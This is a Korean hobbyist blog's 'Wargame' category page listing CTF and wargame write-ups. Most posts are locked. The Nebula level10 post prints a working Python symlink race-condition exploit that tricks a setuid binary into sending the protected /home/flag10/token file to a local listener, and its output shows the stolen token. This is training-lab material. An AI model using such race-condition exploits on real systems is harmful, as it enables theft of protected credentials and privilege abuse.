Be myself :: 'Wargame' 카테고리의 글 목록

달력

32024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

'Wargame'에 해당되는 글 34건

  1. 2017.01.08 [pwnable.kr]asm
  2. 2017.01.08 [pwnable.kr]unlink
  3. 2016.07.15 [pwnable.kr]sudoku
  4. 2016.01.26 [pwnable.kr]rsa_calculator
  5. 2015.12.24 [pwnable.kr]maze
  6. 2015.12.22 [pwnable.kr]nuclear
  7. 2015.12.18 [pwnable.kr]alloca
  8. 2015.08.05 [exploit exercise]nebula level10
  9. 2015.07.06 [pwnable.kr]crypto1
  10. 2015.07.01 Codegate2015 bookstore

[pwnable.kr]asm

2017. 1. 8. 19:33

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[pwnable.kr]unlink

2017. 1. 8. 12:43

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[pwnable.kr]sudoku

2016. 7. 15. 20:12

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[pwnable.kr]rsa_calculator

2016. 1. 26. 00:01

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[pwnable.kr]maze

2015. 12. 24. 01:40

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[pwnable.kr]nuclear

2015. 12. 22. 12:23

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[pwnable.kr]alloca

2015. 12. 18. 01:03

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

...2시간 동안 삽질해서 푼 레이스컨디션.. 파이썬 코드로 작성했다.


import os
import socket
import subprocess
import threading
import time
import signal

def read_until(s,msg):
	tmp = ""
	while True:
		tmp += s.recv(1)
		if msg in tmp:
			print tmp
			return

def GetFlag():
	s = socket.socket()
	Port = ('localhost',18211)
	s.bind(Port)
	s.listen(10)
	while True:
		cs,addr = s.accept()
		#print "[*]serer start "
		pid = os.fork()
		if pid==0:
			print "[*]server connection success ! "
			print read_until(cs,".oO Oo.")
			time.sleep(1)
			buf = cs.recv(100)
			print "[*]file is "+buf
			os.system("echo \""+buf+"\"> result")
			exit()
		else:
			os.waitpid(pid,0)
def Racefile():
	while True:
		os.system("rm -rf token")
		os.system("echo 'aaa' >> token")
		os.system("rm -rf token;ln -sf /home/flag10/token token")
			
def Attack():
	while True:
		args = "/home/flag10/flag10 token 127.0.0.1"
		proc = subprocess.Popen(args,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE)
		output = proc.communicate()[0]
			
		#print "[*]result: %s" %(output)
		os.system("rm -rf token")

def main():
	pid = os.fork()
	if pid == 0:
		Racefile()

	pid2 = os.fork()
	if pid2 == 0:
		GetFlag()

	Attack()

if __name__ == '__main__':
	main()

ex.py

[*]server connection success ! 

.oO Oo.

None

[*]file is 

615a2ce1-b2b5-4c76-8eed-8aa5c4015c27


[*]server connection success ! 


'Wargame' 카테고리의 다른 글

[pwnable.kr]nuclear  (0) 2015.12.22
[pwnable.kr]alloca  (0) 2015.12.18
[pwnable.kr]crypto1  (0) 2015.07.06
Codegate2015 bookstore  (0) 2015.07.01
[codegate2015]pirate_danbi  (0) 2015.05.12
Posted by flack3r
|

[pwnable.kr]crypto1

2015. 7. 6. 18:30

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Codegate2015 bookstore

Wargame 2015. 7. 1. 22:38

풀이쓰기 귀찮아서 그냥 익스플로잇 코드만..

hint : [memory info leak, uaf(stack spray) ]

bookex.py


'Wargame' 카테고리의 다른 글

[exploit exercise]nebula level10  (0) 2015.08.05
[pwnable.kr]crypto1  (0) 2015.07.06
[codegate2015]pirate_danbi  (0) 2015.05.12
[pwnable.kr]echo2  (0) 2015.04.28
[pwnable.kr]echo1  (0) 2015.02.20
Posted by flack3r
|